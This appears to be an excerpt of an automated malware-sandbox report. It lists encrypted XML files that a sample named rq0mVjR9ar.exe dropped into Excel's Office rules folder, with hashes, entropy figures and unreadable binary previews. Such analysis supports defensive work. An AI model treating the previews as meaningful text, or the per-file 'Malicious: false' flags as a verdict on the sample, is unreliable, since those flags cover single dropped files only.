..z1..Y.F.E...N%......[b.g.:....ouI.EOS7..=....=.Q.@...^..\.jt.....45.>N2.O.,0iV.i...}..v.tU..O..6.Ea..~..Kp..#I..b$..[.w.}..N6.J..W......g:..2g...0!...U...L..@....;;.9E?a.V..}uV....5.y...;........z........7..&n.$..m..R......4...\GbI.~.J..z..~m^...`..T..2...p..HF..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.740539726221533
Encrypted:	false
SSDEEP:	12:wMPcAm3pMDnUUj+6nQrIlhrFk6zitlec1K9dnYtoMQjScRmGKTx1/Pay2oixpZaX:wFt3kLjhaU2KHkoXmGSp12oiTkbD
MD5:	49D549431E3182BA73CE6BA7E823BAB1
SHA1:	430D85D30A950BAA47354458F1092D3AA11F3FD2
SHA-256:	45B53E3C13D8641F0E1D96A9823B5C6EB30547CFB694A6EBCF8CF18C5FD1E2F8
SHA-512:	30F37D8CC26AF024F84569647B28D8A56417AB9AF2D58D6A4CBFA6276BF345EE05EEB03E28BF2962D4D15DE81D3AC97B4288756A67B3C55F04974F3A21B6A83C
Malicious:	false
Preview:	<?xmlM..W.#!.em ......=`.&.....cQ..........t..`.....[......1".....TcV.`@.Ed.2......06..J;@..<..=;K.BP.WOS1/...6........e.MA.......L...Q....q.>.R.....P.,utH....R.....Y......A...].2.....Bn.......;D.DN&....-......4...Z:...A.XC..%.'..&lq.V.B^.PJX....k...._..n..p{...@..1....PGq.:%.r....Q?.U..=..~=.F....c.ffr.P...&>............!c<L.1...x.I..$.B..wvj.r....]...#.-...U.F6...p..jY..K.%?....j...V.G...{$.E...+.E.G..y8.D..........A..gu.....z>a1....UX."H..DN..0..B.j...3....b.9.-c_...^..w..M.\...r&m....2.R.....y}.!...2EO.A...'3..]...~.......:u}...7b+H\zK^.K..6..il.;.7..Y.{..gF3...J.~.-S.........\|.p5P.2v....v.*......c..F6... ?.M+..B......14@..<K......2C.r......>.O...LD...[2.......f.j...&g..)...z ....:...c..pg0.,u.4..w.$er6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.765154696911415
Encrypted:	false
SSDEEP:	24:mSeob2zn/jooQw9Y3t0D2VsNCpgCLcMNV5/EN6RmcL9jiTkbD:ixLjqz3t42eWoakiD
MD5:	CFC09727684BDF9BE73E53EB7E886C62
SHA1:	4C9F5AA9BF7CA0E47AB63AB78A8041E2B59264C3
SHA-256:	4C6234A42149C27E30954F2C20CA26BED23AA00EE454894D05D2978592C8DA3A
SHA-512:	8789ECA30A86DAC78D01E4BEA5D469C42101540FF53468A1C9DAA4FC3CA37748DB8FD094036E4DF6A2109A28C7011C1D25C848D2BAEA2FC3562694A4F8944FD3
Malicious:	false
Preview:	<?xml....K...P..k.R%...z#.U).....^...Qv&g.yw.Y..A......1....e...LU=...G.........7.0...@e...6j..3....-........A..Jf.e~.fZ.Vu?.V...v.!Z..B..+..O....#.....g....O...G..5. ...b..)...z..k....Y....a.0..F...=U./..u.......4{P....m...z.[4.Z....Sb..qBy3].\.....p......QX.0.J......#U..;..H.....E#D..N.\2Sv....8......74A. ....."..5<.......2+.x....g...;]...\.k.H.....q..M...2s5...`.6gh.=Y...2k..fP/.o?W......h.).i0G.pe.]{...M.>........D.......E.9.Qm.V$.{T.~.....I....UdR...h....<Mg....2.2..L.J...8...dj.n.>...Z.......M..*..F.(...t.'.X.....&...R1..T..J5M.`.V.M.Y0ff."...Y.H...'..nx_....uf.^.}..:.?....._....2......PY`b....'5.........p..x.......g...\.pj...~\A..,$1.~....A..2..#.Q.2P.$u..!......K".[`.]F(.I.>...-.-).......G0....{nf?.....~.Q+x{6.C.h.]Y.h.._x$.....9.B.e9......;..77!#K.H?......N#..Y..^...B1....3.<.,.....G..V=g..S..\.bx..=.......w.....`%...54lK..Y..V.4..@..p.c.7..L.sh.....P9Q-~.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.846259869468095
Encrypted:	false
SSDEEP:	24:lZpXJEnlMzEf9G6M4CZ08z2f33GyfnffePDqhurA2XDi/yAJwf8bCcibviTkbD:lZpX+n4EfIB4Sc33Gy32P8R2XDi/Jw2m
MD5:	870FC4490DB7A21D4DEE3CD37BBA945B
SHA1:	E125CBECC85BADB073A31257F6E5EEC00D44294B
SHA-256:	3097DDE4CBC42892F525A6352D1A8E2D5A3C6F5E7B0EAC09D762FBC4600334BC
SHA-512:	2137C8E3E47108C068B276535033BFBCA9EB28932D42B5CFAE733FB266B2DE36ABEFA4936F88819D84C5F2577DFC0F5E3F91DB7661C72FF766830345E0689B11
Malicious:	false
Preview:	<?xml&q..cg....T...O-....Nh..OY....5..#.2..\|.L.F.......[...MQ...M&.%.FB.....c.6b..8....a.!yv.{. gN.F>.g>..4{.....f..w.*....d .&Wa.{..x..}.Bn.}.k..g<..Z..?.....`.8w.x..N.?.(J.....ugdL\|.`.b..h,..b......s.S.`..L. N..)l!..:..Y....n.Z.}......VP &.h85.w....... .....rp..M.....v;...a!Kj-~..C.....\|.U.H..i..`....LE.3.....r.'.^..i.by......Y.[.l....5....d....O..l...W!.)~.nhzN.y.H....g.<LiP.gN..^..QXz....D..^...BD..o....w.V..Q\Y...w.0s.X"..t...._....eH..,N@..`.Q!.nvz ....j...:}c......3.d.).....b@0_.k.E....F...i :g.O.K.........<..........'=q.r.$.....Z..L&v..V.V...&Og...v..p2..a..r\.n..HL..7.............^.,}V.N.jD..#.u.'L..SP..x.C..Ns#.D.f.7.....c.?".....Xk...<`.n.X...q.......woS.....G..).D.O{........q..J.........}Uu..d.=....pz./...eN+\|=....eyM#UI.b....d...JM~.`#z...Wu#'.jU.2.t.s\.....%WI..._@.K.h.M....#.....\|.keZ.dm.&..T......X..u.Z..<...B..F..^. G..=..Z....Q...Q..h..Od@Q.).....K"X.N<o.........H.F].[P!_U....+K..S=z.}...f..BEz.o.u.....mc..gR....++.a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.869754810166906
Encrypted:	false
SSDEEP:	48:FkHh0koK9Hlif1lwcDk3CckaA2jCXYOazt6siD:FkH2k5EAc43ThAhYOUU7
MD5:	142733D3D1CE914EB0A8DA06BF13B108
SHA1:	5270E8AE1748CFF13F63B12BB7049062F88F89CC
SHA-256:	473F0D15C3419354B354BDF92792B43C0545F63F4C289B90E757700756050ACA
SHA-512:	DBC07D03F4ECC432E975AD3816927A762CB2F7CC1FCDF3EC171726C90FF5F59AF2CA08C3951B763C21DD6DF51C4FE618A542BA21CF5F6EED5092ED8E97146A6F
Malicious:	false
Preview:	<?xml..<BK.w,?.T...`.^.5.Ie),.......zB....k...d...i..._.Uy...... ..tk....\/..k....=.`.R.t..(..$....x.........}Q..7.U:..f....../e.V......8%....L7...D5......A....bX...w..u..o.YQ8.A....j.....n.."O+.V=..3U..I.B.Nz..._.NXo.S-z]dS!.J.T....K...6M/....~.xrk._4..O.I0....r...8L#..0...<.K.@...%....p...#......C.h.4.E..c0....yp..$k6.QY........kvD... ....!.v&.w...\L{...dO.t^..,l....-....ha9.v..v...B,.2I$......rL..mg.mC4.V3..y..`_.[.....J..@...e......-s.T..E./..f.T{.A.c..em.R..L...-.'T.<r...p....6....1N..7;...o.=O..vu........`.@.i\Q ...&.`.ne.3.w...T\|../p.._......h.{D..=.f_^..yU....3.."ix..42..l..c.8.%9{..AV...\]..G..+.(....d?.......J.....+g.]..N....l..@Zrf....$....8.d..W.C.N.z#...(^.S3RF]........h....^Fo.G.KH.2Qf.X..G.~.../z..k.{\|.e.{.8.L.v,O.,.cI..P.A.a...=....U.........5...U8l..?......T~..6l..O... O.....6*..R.......e.....S.+.M..!...5..k..m.#;.^....\|.~..6...].....y..,.7......6a!.......-..A.7.._.......`.Y?f...p..8..h.y..\|~...&(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.93430456167425
Encrypted:	false
SSDEEP:	48:VuhmT86ikWfkx5h18ltYyyBtS4T/YD2smrAIvSSBg23NIMeu7ETdtzEXte44Sw0i:U4T/Wfk/h1Xyi9QNmH6S5dRwTdtzEXip
MD5:	E8A2D2D486A29C86CDCE9CC77B775C6B
SHA1:	9D3C752126C2BA2CAA445FA22A392B752955ABE1
SHA-256:	E442749738C274DD9F211D9982B6010DB7AC49023F1B0AEC1D2685A9426F89E7
SHA-512:	50C8FE28A77D9B0783A2F34D41DDEBD67A59751AA759B02AB275935AC30BB8DEDEE3A63E27F5975EE701579745DE4F6EA387513A2C6D0C8AB5D7572896578FEB
Malicious:	false
Preview:	<?xml...#s....[#..y...0.3\....?1..."...#..J.W/..a.T.M.pQ...-.T.\|=0..t.Q).Bw.X}...X.............l.?.;...x..h.....[.CvS<-r...'z..i.GU....>.z..{..V\;..I....+..n...F.UM..u.."7.3F..$2Ts..S....T.q8.(.iI.u........Lfb.....F?...f.KU....w~O.C^..:..(.0..iw.K...&.<..M... ..K`a..oI[.vz.D.p>XSL.....?.p..@...Og....>."...\|4(.q......1.....r...N.-.A.tA%..g.."}..<2.1.adR.\.Bw..?{....~'....z...).=oX..B$$.{U...w..r..i...D..BQ.u....X..P.N..I.y....g...h._..b....f....\|..:...-L...f..T..7...U.z.~.k.L.o$.T..J..!..5.h.++:.....X;.. .......1!\..%...R.k...dh2.y8..5....]`.Sx.CBY.. .=..+R..y..c......m2.3.8................M....v]VK..;...e{......[Vu..ux..]..Mf.2i...L.8g..r....z..:.G.\.....i..S......2<]=.........:........K..ef...v...r."...;.[v...Y.[.b.!...~.e/to..<,._..H...'._..z]d,v.2.....>.#^Z37..k.M...F.D...J[....D..Y.%Q.Z.U..w.e.....0;.....S....q\..S.s..^y<d.z.......L...~..t..O?YR45....5.&....V.b.Y...&M....ao.#.o(~6.B{...@`.zw.D.....5....Ia...3...\|....7.../g.f....J.v8*.y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.871588539664326
Encrypted:	false
SSDEEP:	24:4jZmIev95wlGxHyxLuda2+v6mruRcHPLjmfCA2mzsNTDTKm7Z37TRWViTkbD:4jZmIev2sMZx6u3PLCqlEyvJ7T7iD
MD5:	389D6B8D5C8BC5804FB1C81D6C4189AC
SHA1:	393F52C6A4F10B9FD622596A96A950B6754A1A79
SHA-256:	7A363A8F03213A11DF870F96FDBFDD0DE166EB947D09A5DBFE44246A81C050B9
SHA-512:	06F08FB5895DFC13FBC2C22C3A7C1A0577BD8F38D6A13C237C8D482FA9F0986C0F9E8E4ADD60CBE5C48E810F706CB50FB9087B15E5BE43EE982BBC2E4700EEB2
Malicious:	false
Preview:	<?xml..bI..........V.u3..18K..o......X.!.4#....;.\|.r.o.....d....,{O......?.&I.9.l.D.S...m.EW-...1.c.E..N.j..6..q.l[.o..1........ ...%.u&.Ws\|....n.2;.......(.5U$:..5Zi..j.{3.H5Y....l.-t.OG..a...q...m.98.....p..j^.Z.s2.]A.8\@.....9...A....y...~s.mIlJo.}.....n..}Vt....FQ.u%..4&).`..)...... l?..w^+.....e..+ .Y../.a5a."..Q..Q...i..B[......,'.^.a{.t.Y.m.W..}.\|7..._...=...G."..p.r....\|U@J.)OQq....d....k..]..xB.....X.\|..... i<.U......l.e.(....`k.......G.Ms...fu@A#$].Q....v.Q......8...b.l&{...R.9.J..0Z>r......Q7n..\|.N.).r.Xf.e..e.#5...9..P\|G.+..I.&...i{%.:.A.o.....~......*.BD&}.u.,..c....{.......@N..@.e...fnba ...h.D..b ..L....d.)4..&....mk:.2b.........G..T;.......[7..=..U.......N../.b...T,Q...5Y...B..'...o.....E~.@.u..._.-..y..9Y.D+...J...v.y..Gp.3.V....O...S..>!v_..{....%Y.........x.k<.=.~g..g..x;.K5.}I.........4..L.&{........S....s=...q..=.j0..P.........&Z..S#c.f...nM....Y..'.Q.-......E0..X..$(.."q5.....6zD....R...cT..MB8....,'\..#.i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.910613115868083
Encrypted:	false
SSDEEP:	48:fHKM/8/XSHSf2Ogy0ITVJupBadsN5sy0Wiu2yeiEi2FKSdM0x5iD:fHJ/JPVy0MnGBNN/Eu2JidEKSdMz
MD5:	7B266D0D54AE05D12F13C59BAABFDBBC
SHA1:	5CF20FE57F8772C1AE61C6D1E2BDC85CE809A2E6
SHA-256:	BA62F080D600DB2F634EADA15A1D99A42A3373AF7481FF42E091DC468E894590
SHA-512:	CAA0D8C10EF1779DC4B458DCCA6CC1068B9AB53CEB5C1738DD432EC1A2A0F54B3D9FACC0EF8F05B7A0BDB17937BF922AEE007366BF96B5647BAAA71594BF45BD
Malicious:	false
Preview:	<?xmlD.A.j.Y<...e..........^...%;_.g;;...>..O<..J.#......P.R..2........[..&.w?>....Q2..."u...^Hn..R...U9..l5f..=.....[.R.E...xg.b...@a.l~...Bb._\|p9L[.e.. .....B...D.R.../...p.`Qsvu0..V..n........l.E..7....M9/.3...4.SR_.;.T$....<.h.2{+O]&......._...\|.......q..y3..;.r..^{.'.......e.....T.eW..j.f.+~...N._. c.$..^lXB.lN.........5. EL.._.Q%....>M.^..u.+.N...j..^.k.ni...V.....v..P....:^..G.......&.\|....ECz.T....x..N.1..=^..tU9..wn1..b.R1?Xo..Q..?.....kl...e..U(...}!..5..6u..\.+.$..'..`"..".....S7..G.S.L.....[.b._M.B..U.I..a.....Z.j."%...].W.Y+...szO5.. .8..].....8..b..-...j..h^\\.......[X..M....N.....&...L....2.-...Y1/M..E..]....OC.....B..=VB".c..........A..[..I:M..ze..z..Z...lS..i..^...+..k..o$.#:st<I.)..uDM...M.GG.@..]x.."/.H....s]..B.&.....A.yd....ir.....}5.v.6H........D...{..cO..A.K..H..%{...r}...ckX..aA..u..?.o...t..J...y.?.nzI..6g\|p.r.$.".o[.'.<a..Z..BuSm#.-p.....>..."...>QpHJA....f$y.9..V.\|./......V.. ....*.h!.L..f.....p:....{.P..Q..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.885861904542239
Encrypted:	false
SSDEEP:	48:ylvHd1uym6mOF4+HMu1mS9LGLnZ37cVeTmgoRQLCPnMcDkliD:ylvHd1UMPilLlmg6HPlDj
MD5:	EEBCCD5AA0663297E1D3B1517C4AA6F5
SHA1:	8FB695CB98DF144B4D045EA2381BE317AAEB7734
SHA-256:	145D1643C64133C1AFD3F77CCEA3291BAC14499F28446AC0064281F6B528082C
SHA-512:	B77E7C51C36B5098290D408E9D902E93AE7666B305243637F4E7C0CDD3F5200287653D2FC1A69D8D64ACF19854587AA26787FCF08F79EB231E029021D48C3AE0
Malicious:	false
Preview:	<?xml.gQ.2.r...^\|`;Y.4.?..9...4.j.}U.j..Co\|..8d..........D.......tz...w...ruo....A/....U.F>..H.g./..\..T..i..G..%.A....1-.2.U...xE=.lsH..G<+.B.i.n..B....#<oT0....-.....'.S2Z-...i....[..4.N....?..1.NEfUb6.^..`3<Iq6T..8D l..!......b.e....1yhMz..Iv.t.5.v`.....X^SY....z...t....7@...`G.L..{.z.....E2Tv4..t)M<.\|.b.Z.'..PGdJT..R..6..:......%.c.D].E2=UT..En-t..q...PVq..V...J7...xM..I.....f4......w^.77..0..O.'dJ.........j..'...m,....:.Ox.s..S%X.~.TX......grU.&......{..XL&...[.A.H...!7..L.....o..X`......3...Q.....C..2..Hc....c.,..HM1v.0.......VrW..q..h.,gT.<C:.%......}.DV.u.. ./).-EE.t./.....)Q..q.a....j}....Oz..W....2.....SL..t..2....fG=.!.-yr7i.E......{..S..Uz..z.^.{.d....y......a..tF.. ............i?...}RN......C.S&... ..5V.. ">.)..@./..d. ..N.a.......WT9R.Q...V..=. PT&...gE....Bw....ZnN..p.-@.....$d0/...LS..q?.u.D..O........"..C.I.....3.M3..p.n..........[.LL...(&..2..{6.G........4.yv..`.U.C.u....a.I..c.r.@......J..G.<G....om?..{a..g.z#!.v')

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.82437167666687
Encrypted:	false
SSDEEP:	24:cj+kfSPhhfIEehwSWCqpcukD5nHnROBYw/enRYsdY++diiTkbD:I1fS5eEeFqHkDWBZYd+ZiD
MD5:	9191E88A884A9E5C77580BA7496ACEF5
SHA1:	7AA3E4320602984B1BB0B199A2513213692EDA66
SHA-256:	DE4AD2B3D149E4EB71EA5C6A4FFF48DE90AC49E8226AB80FCD484C86A3BB7F6F
SHA-512:	102DF543BE53D6B63D576F4D253B21B6E601B264AFDDC48F96AA0CF9DD3537667C1F0E2790EA4B0FAA9B2C26983D06877F8D07CBDEE983A0922BC60BEB25D073
Malicious:	false
Preview:	<?xmlCjj~..EJ.w...V9..7.P.....t.....j..2.b.o.p.v<...p..<.$...5.....\Z\|<.. .7A.gD.85U..""..6.N.GF(!..g.8.4.T.?.8D9.S....I..B..s..M........#D..."h.....{.jb......j...nEZ.p.-.?....(..b.278..&._y/......Y.r.y..a..v.)A.Q1t..n.....K.....`</.{J1z.,........C...bP.D........9Ah)[.P....=......6...a.........nb%z.r..'..B..Ai...z..S0<.A.v...Ojz..$.5-.Q/U..z...L.r...+.......7..F....V.;..: ...[G..,.o..%......f...t...N..X.A"w..S....1.8...'Uxd...lG2.n..,.>.V.....^..R..F...G.....rt.yR....5"LI..uK. Y.\|.pt%...(..,/L._.~.x.qd.8..k.Ss.}At...i.7..68..my..1..$.&..U...(.)....eutt...nI`.[.@#oW...t.S.+.G....Cc..?.z.9.I3.(\|rp:S~ua...Gv..7 ..Q..."]W.v.r.d^.m.Xz...l..w\.I....B...;-/..dd8\..t.h.....d..4s.c.._.-...#W..]8".....%..O.9...2.e./..a#........S.../...dl5...$....h....a.....o....-V....6.T.5.G..N......G..xG........0C.$l.L&\.5....o.F.8._c.X.......K.).M.....t..7-..........t]8O......%J1.,D\..P.}..k.xO...q.0F...,..).b.<q...?.H..i..v.p....x.uD....]T.d 8...EU.....g[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.798617078345626
Encrypted:	false
SSDEEP:	12:AAQMpI7HVyGQMIL+7kgw4sJsToFLco2OF/Ax2xDlpIBGczw/0rALCoo9qPzr4ppB:KQMIL+wgwskBt5IgxkwL62tmfrriTkbD
MD5:	F0BACE5484E7EC8B00872E279B0FE2E5
SHA1:	BCABFA56F1DD7B9FCCE34CB30FD156E5398717CC
SHA-256:	44062D013E74D1C162027D9F95E9710C8D24C3570EAAC09CA5AF24A24620AAE8
SHA-512:	2B63B6348CD5958D772FB1B159A72830DE199B47E81E95F4C550216F36EEB35F90173590E48354FB98205C55E6C95F339118FF52CD2468101D8D1EB138742757
Malicious:	false
Preview:	<?xml..Bu.U........[\ .f..1.^!4e.,{.j.....4....S.P..'LO...f... .d.....u...l...4...Q..(....h.Ff..&.q.M _.Q.....A.h1..U.WsOiH..{........g.U.6$......w...V.g../l.F. ..xh".....+ c........Um4,....".....@...7.R..%.p.O.uh...L;.(4......H....Y..\.}6z.-.A.gc.A8..p.M..R.....:......;\..]...hY.opl.m... .j{4..0.[...r.4%.5.C.......'.%..pql..E..%..3C..0...-.X.p.....~....:...C.....b..N.6.) C....,^...Z..e.n..V..!.5k..-..T...c.wZ..el..:..{../...S.pT..}3.................Y...S.%s...q\...7t.8..~..~Nd..V...!._=4...[p...Q...(...Z..J.E....g..B..O.h.Ji......r...j.H.)cvj<.3a:H..4.[.V.AH.+..e....e..ib.....6.}...`.Q.wA..Uf....VLWn....mRpV.ht5..;b......l....D~\8[YB.. ..[J..z.yEQ.......9.s.m.....h].)a..].#.s[.g.\..DaOD..#.p.? O..8.K..%....a.}x....,".J.+..!).....#..3..fm...Q;.....b$.-...g...)..]..$."......TDj..ZD.x..E.1..(W.......L..5....j~'....F..<.`.R.0...,..MIt....g80...g.W>...e....M.._.RI..j...HJr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.8241253914005355
Encrypted:	false
SSDEEP:	24:czkS5HfgLeQaE2pVL1gzooulfkcrgUtTdvwElYgVZiTkbD:21Rfg5aE2LbTdYiLGiD
MD5:	BB910D4CD603A9442F0B9D32A328A813
SHA1:	34BC17D98CCCF36C0CC1DAA2999DC6CA64ACB6B7
SHA-256:	A99D7F487EFC37E78C7CEAB07E97B0A8FD9607C052E8CC0888A10CFCC97C423F
SHA-512:	A5FB72C2C555F0810999106A67C9C5E25639A3FD6A7E9F05AC77740D032A0EF3033FDDFE2337904410A560BE5DBA56659376EF348730541173D45CE7763553CE
Malicious:	false
Preview:	<?xml^... Qo-`. $.OY$3E.;...FTg.D.W.J4.w"b<]k.....m:\|.K.6.B.....#l.6..i..N.4.p...D.l..8..CF....r...Kp.%.{z..;...Ax...x.I..Z.K."r....9j.A.B...'.....K.![...Vv....I..X...=.\|..../5....I..x.q.C..#...dd3=....z......)C.^.+J.x.o......B....D`.X.ur7...W..,..........y..L......Q,.o....{a.K0u...U..N]?.O{.e.);....PU.4....q...........3m5..@hDd..1R......@R\b"S.H.~_.4..zL..Y..>..I .y.v...ir.4...6.n..M.`t...^..@h...-.vk.~..,.Cp........m7q..i.<_.&.v.}.IS..]......G...4...=..7....Y<+t\|.:..4...........ey..[...zu0a.\|..#/q.].w.N..x.&e..f..(.,..YYo..;.H...~...S..z)..nEJc..lK....c.5/.............{..ZM9F!&h..'8."...%.........a.d.{ .X.S.......K.....u...Pm...^t.DRO5h.&.[."S.J.....C.}.^G.,+....Q..W$.]..!...L.Yc.[\&:.......<Ic..F.+eMfG.(.:.R..2.......(..X.t.8W>4....W..V.5N77.[.A....z..F......O.#.cL\|..,"Yc.4n.Y.q..Z..T*....xb.<.........f..5..&.U.1/X..Qq..3Gq.(...g.Uz.%..F..hF..D4..&.s.... ..l...2.u.c..)0...o.$\.h...m,...<...p..=.ME... .`..i...A.....3".W/7....[..k.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.789395434985288
Encrypted:	false
SSDEEP:	24:nNRkVq42VrEqExJMUhWZgdss0IgzE8GX5Q3PgSVoRJ5/TDPw5iTkbD:NjrD+PhWyP0IgPGpQ3PgechIYiD
MD5:	1A1A7735F6B4974524A3B1464E8BDC54
SHA1:	FED21E2667792EAD7517518406CFF5E4F93B2746
SHA-256:	6A807DE3A6D8990A6A58F6C449B958F2F269C20F040D91240D6137D26B5732F4
SHA-512:	62372DE61AD92F682FB4FE6968040151BED162440A99DFFBACFAED81BFEF856CEF91051115B0A06FDD1F1AC891E331E75B1DD76A7FEECD8CE8B9B0E26FE8C1AA
Malicious:	false
Preview:	<?xmlKc!.j.ig......O_b...}A.....Qb........\..(N.p...L...<...I.....qtg..l..^.2Y.......L<...$.x.....0...6..n.+%.R{.pp9...I...N.,..n.J..........f.b.C8.l.gm+.eD]...Q.y....w.].M5......D.)j..Q.+<...Sp........`...n/w..x.,.-E.....cs..>...}..(.....kJ...w..'..v.Ms.....7h..N".NX......E......B..]......^.6...=.?..[......^..%.2..{Z...\|0^.Y...&<Kn..P.`hR.\.aj..$!...(.... ...+%.5...P.....M.....fCF...!Z..b..........!.=<...1..WL....+.......-(>..t...k..?......D.....&.X.e>R.7...E......e.a.."X_....$.......GI..j&...-...%D,7...V...a..v.R@.{.....O...p].C.cpQ+.\|..nS;!)EZ.<.D.P4...t.`..j........(K...t.^.....^.=.=..!C.{.w.....5..r...XMh......s\.+.V/~..?V...A..M.$..Z....eh..E)(...Z"..q.....e.J...B.l.rLK}.m..>h.5..],...A.jO..O<..Z..~......9.9!.u.....#..~..Bu.....P..1+.o...C+.5.n.bF...&....#_.\|\|.\|m.....A..l.....J.%....!.".2..N...].^.O9S.....tuf..t....@.c.B.~..5......f..<~Ba]..bg..ND.+4.....P).K3..:.&.h.a.d.g..z5 '.:.e...0M.,E.)*.:j_.C.G_q.ht.....)2......D$...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8915024558163855
Encrypted:	false
SSDEEP:	48:SvekG/Bm1tRubF+TdUSQInVdjO+gaOo9iD:SLxMvsjO+TO1
MD5:	1B1284440F9E4AFA6BEA6AA52F9121FD
SHA1:	8B7BBDB3FC4864FE89290B25B12A9058C015B33F
SHA-256:	9042DA5D72484B6ED2522BD35D999E2B7AF845B3C5FFFB84626743E9C12E29CB
SHA-512:	2A2F3D0CF5453E2B10014B310F53FD8F03C8090E9211339EE1CCBCE5D42B8056FC17145D23848E1F7F525623AD9D0D23D11745EDD1E1CB135C84F2385E553181
Malicious:	false
Preview:	<?xml.@..Y7.s...xk........k..n(.}?......x_..w<..).f...$........[' .`S.b..@9..$,.+..}...9.Wt.o...W.6.6w..s.\|...>..K.:..I.:..O-.E/.o..wQ.1.2]..S.....i.?.+..o.7...TY(.....[..K.....Fh.....Tj..in..f..6.........\..@.XD.M<......_......(.O$.b.......u.........y..l.4.(D.I....`...[..G.q.9.%....v..V.7...4......3t....?+7g......Nml5.z..w..1]......(..S..i....>.....ZR....>".....Z..k.6Y...b.+...D......y..P$j.1....:..........B.i1.2...he..ks.<Sh.r..o....l5.g.M..:.5$%.....T`....pX._.D..m&..>.]d;...U<A2F.~p~T}.0v..9..m...k.u >J8.2.x......Fa....+.g.....2.y.......!.wx.^U.:.N?.0....Ll.%6.BY.P21.y.58....2.Fn.h\..Ks3...f..%;.h3.\|.1.S..z0..K...@..'.=..5.k..v.Q...-L..!D....+?Df.....?...G.f<...b....'6..?.........J...`.;....1d.B...\.../...c]/.x.9hP.....}.....\|......H...l..Y..J...........Q....x%..K.B7.........I.%7....W.M&R..=t_}X.[. ..&!\.......c.\|.m%..o.x...z0...[xd....lt.w..xtI..L..BJWh.R.,1...:.O.2.A......."q.t..C.....n...r......KV..I/cm..k.$.M......#.aI...\|e._.=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.823907659099629
Encrypted:	false
SSDEEP:	24:tnQItYXD6UUYUFc6qPm8qYoos5b96NLwQ4AKDVRZWmbWXHiiTkbD:tn1qXD6XnTNYrPNLB8RZWYWXHXiD
MD5:	CC62EF997626E7819F553E59AE7C349F
SHA1:	2A6DF336CDF574DD5B604B6B9C74B3A77D14C5B7
SHA-256:	0E3F88E237EF0CA8F1B66D50A2119D693E6AB7BB8CD5BF3B5FCAD8ED1BB762F9
SHA-512:	53C33188BD9FD175E860AA7F6E3B54E83000A936E3756E438E4579F6B1DC6141BDE3F213AB0E599893AB7228AD795BA9355B8584F2C63A96933966ED934D7F1A
Malicious:	false
